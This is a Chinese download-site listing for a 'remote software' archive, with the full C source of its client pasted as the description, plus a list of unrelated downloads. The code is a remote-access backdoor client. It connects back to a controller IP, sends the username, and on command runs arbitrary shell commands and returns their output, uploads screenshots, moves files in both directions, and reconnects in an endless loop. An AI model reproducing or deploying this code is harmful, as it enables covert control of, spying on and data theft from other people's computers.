ZIP我的远程软件 客户端C 服务端python 4.67KB

weixin_54005873

资源文件列表:

ma3.zip 大约有3个文件
  1. client.c 7.09KB
  2. grab.c 3.6KB
  3. server.py 4.85KB

资源介绍:

入口为RunClientLoop函数
#include<windows.h> #include<stdio.h> #include "grab.c" void start_socket(){ WSADATA data; WSAStartup(0x0202,&data); } SOCKET tcp_connect(char*ip,WORD port){ SOCKET sock=socket(AF_INET,SOCK_STREAM,0); SOCKADDR_IN addr={0}; addr.sin_family=AF_INET; addr.sin_addr.S_un.S_addr=inet_addr(ip); addr.sin_port=ntohs(port); int r=connect(sock,(SOCKADDR*)&addr,sizeof(addr)); if(r==SOCKET_ERROR){ closesocket(sock); return 0; } return sock; } BOOL sendpkg(SOCKET sock,void*data,int n){ int flg=0x44332211; send(sock,&flg,4,0); send(sock,&n,4,0); int r=send(sock,data,n,0); return r>0; } char* recvpkg(SOCKET sock,int*plen){ int n=0; recv(sock,&n,4,0); if(n!=0x44332211){ return 0; } recv(sock,&n,4,0); char*buf=(char*)malloc(n); if(!buf){ return 0; } recv(sock,buf,n,0); *plen=n; return buf; } int getnum(char*buf,int len){ int n=0; for(int i=0;i<len;i++){ if(!buf[i]){ n++; } } return n; } char* getstr(char*buf,int len,int n){ int k=0; for(int i=0;i<len;i++){ if(k==n){ return &buf[i]; } if(!buf[i]){ k++; } } return 0; } char*makepkg(char**arr,int n,int*psize){ int size=0; for(int i=0;i<n;i++){ size+=strlen(arr[i])+1; } *psize=size; char*buf=(char*)malloc(size); int off=0; int len; for(int i=0;i<n;i++){ len=strlen(arr[i])+1; memcpy(&buf[off],arr[i],len); off+=len; } return buf; } BOOL sendarr(SOCKET sock,char**arr,int n){ int size; char*buf=makepkg(arr,n,&size); if(!buf){ return 0; } int r=sendpkg(sock,buf,size); free(buf); return r; } void upfile(char*ip,WORD port,char*src,char*dst){ FILE*f=fopen(src,"rb"); if(!f){ fclose(f); return; } SOCKET sock=tcp_connect(ip,port); if(!sock){ return; } char*arr[2]; arr[0]="upfile"; arr[1]=dst; sendarr(sock,&arr,2); char*buf=(char*)malloc(1024); while(1){ int n=fread(buf,1,1024,f); if(n<=0){ break; } n=send(sock,buf,n,0); if(n<=0){ break; } } free(buf); fclose(f); closesocket(sock); } void subproc(char*ip,WORD port,char*cmd){ FILE*f=_popen(cmd,"rb"); if(!f){ return; } SOCKET sock=tcp_connect(ip,port); if(!sock){ return; } char*arr[1]; arr[0]="print"; sendarr(sock,&arr,1); char*buf=(char*)malloc(1024); while(1){ int n=fread(buf,1,1024,f); if(n<=0){ break; } n=send(sock,buf,n,0); if(n<=0){ break; } } free(buf); fclose(f); closesocket(sock); } void downfile(char*ip,WORD port,char*src,char*dst){ SOCKET sock=tcp_connect(ip,port); if(!sock){ return; } FILE*f=fopen(dst,"wb"); if(!f){ closesocket(sock); return; } char*arr[2]; arr[0]="downfile"; arr[1]=src; sendarr(sock,&arr,2); char*buf=(char*)malloc(1024); while(1){ int n=recv(sock,buf,1024,0); if(n<=0){ break; } n=fwrite(buf,1,n,f); if(n<=0){ break; } } free(buf); fclose(f); closesocket(sock); } void echo(char*ip,WORD port,char*s){ SOCKET sock=tcp_connect(ip,port); char**arr[2]; arr[0]="echo"; arr[1]=s; sendarr(sock,&arr,2); closesocket(sock); } void upgrab(char*ip,WORD port,char*savapath){ grab(savapath); upfile(ip,port,savapath,"grab.bmp"); } typedef struct _CLIENT_CONTENXT{ char*ip; WORD port; SOCKET sock; char*pkg; int len; }CLIENT_CONTENXT; SOCKET login(char*ip,WORD port,char*fname){ char buf[MAX_PATH]; SOCKET sock=tcp_connect(ip,port); if(!sock){ return 0; } DWORD d=sizeof(buf); GetUserNameA(buf,&d); if(fname){ FILE*f=fopen(fname,"rb"); fread(buf,sizeof(buf),1,f); fclose(f); } char*arr[2]; arr[0]="login"; arr[1]=&buf; sendarr(sock,&arr,2); return sock; } void handle_once(CLIENT_CONTENXT *con){ char*pkg=con->pkg; char*ip=con->ip; WORD port=con->port; printf("len=%d\n",con->len); int num=getnum(pkg,con->len); puts("@1"); int len=con->len; puts("----recv-----"); for(int i=0;i<num;i++){ printf("%d: %s\n",i,getstr(pkg,len,i)); } if(!num){ free(pkg); free(con); return; } char*cmd=pkg; if(!stricmp(cmd,"g")){ upgrab(con->ip,con->port,"c:\\users\\public\\documents\\grab"); } else if(!stricmp(cmd,"close")){ closesocket(con->sock); } else if(!stricmp(cmd,"terminal")){ TerminateProcess(GetCurrentProcess(),0); } else if (!stricmp(cmd,"test")&&num==2) { echo(con->ip,con->port,getstr(pkg,len,1)); } else if (!stricmp(cmd,"upfile")&&num==3) { upfile(ip,port,getstr(pkg,len,1),getstr(pkg,len,2)); } else if (!stricmp(cmd,"downfile")&&num==3) { downfile(ip,port,getstr(pkg,len,1),getstr(pkg,len,2)); } else if (!stricmp(cmd,"cmd")&&num==2) { subproc(ip,port,getstr(pkg,len,1)); } else if (!stricmp(cmd,"ll")&&num==1) { subproc(ip,port,"dir"); } else if (!stricmp(cmd,"ls")&&num==1) { subproc(ip,port,"dir"); } else if (!stricmp(cmd,"pwd")) { char*p=(char*)malloc(MAX_PATH); if(p){ GetCurrentDirectoryA(MAX_PATH,p); echo(ip,port,p); free(p); } } else if (!stricmp(cmd,"cd")&&num==2) { SetCurrentDirectoryA(getstr(pkg,len,1)); char*p=(char*)malloc(MAX_PATH); if(p){ GetCurrentDirectoryA(MAX_PATH,p); echo(ip,port,p); free(p); } } free(pkg); free(con); } void RunClient(CLIENT_CONTENXT *con,char*fname){ con->sock=login(con->ip,con->port,fname); if(!con->sock){ return; } while(1){ int len=0; char*pkg=recvpkg(con->sock,&len); if(!pkg){ break; } CLIENT_CONTENXT *ctx=(CLIENT_CONTENXT*)malloc(sizeof(CLIENT_CONTENXT)); ctx->ip=con->ip; ctx->port=con->port; ctx->pkg=pkg; ctx->len=len; ctx->sock=con->sock; CreateThread(0,0,(LPTHREAD_START_ROUTINE)handle_once,ctx,0,0); } closesocket(con->sock); puts("over"); } void RunClientLoop(char*ip,WORD port,int t,char*fname){ CLIENT_CONTENXT con={0}; con.ip=ip; con.port=port; while(1){ puts("connect"); RunClient(&con,fname); Sleep(t); } }
100+评论
captcha
    类型标题大小时间
    ZIP好用的excel工具包11.56KB8月前
    ZIPISO 26262 2018 Published 2nd.zip21.26MB8月前
    ZIP三菱mc4c开发Java代码Demo9.28MB8月前
    ZIP一款摩尔斯电码发报练习软件Lakey141.12KB8月前
    ZIP关于pygame跑酷游戏的示例3.97KB8月前
    ZIP铁路数据SHP、DBF、SHX302.83KB8月前
    ZIP青橙商城,青橙商城,青橙商城,青橙商城33.81MB8月前
    ZIP抖音视频矩阵PHP解密564.19KB8月前